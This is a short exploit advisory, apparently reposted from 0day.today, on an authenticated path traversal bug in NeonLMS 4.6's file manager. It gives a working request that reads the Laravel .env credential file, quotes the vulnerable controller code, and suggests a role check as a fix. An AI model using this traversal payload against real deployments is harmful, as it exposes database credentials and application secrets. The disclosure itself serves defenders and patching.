NeonLMS Learning Management System PHP Laravel Script 4.6 File Download Vulnerability

# Exploit Title: NeonLMS - Learning Management System PHP Laravel Script - 'Arbitrary' File Download
# Exploit Author: th3d1gger
# Vendor Homepage: https://www.neonlms.com/
# Software Link: https://codecanyon.net/item/neonlms-learning-management-system-php-laravel-script/23641351
# Affected Version: 4.6 
# Tested on: Windows
# CVE : N/A

#Vulnerable Request:
After Authentication as student,
browse https://neonlmshost/laravel-filemanager/download?file=/../../../.env

#Vulnerable code



\vendor\unisharp\laravel-filemanager\src\Controllers\DownloadController.php

    public function getDownload()
    {


            return response()->download(parent::getCurrentPath(request('file')));


    }

#fix
maybe devteam can use "auth user role check" in that function.
or can update it.

#  0day.today [2020-07-19]  #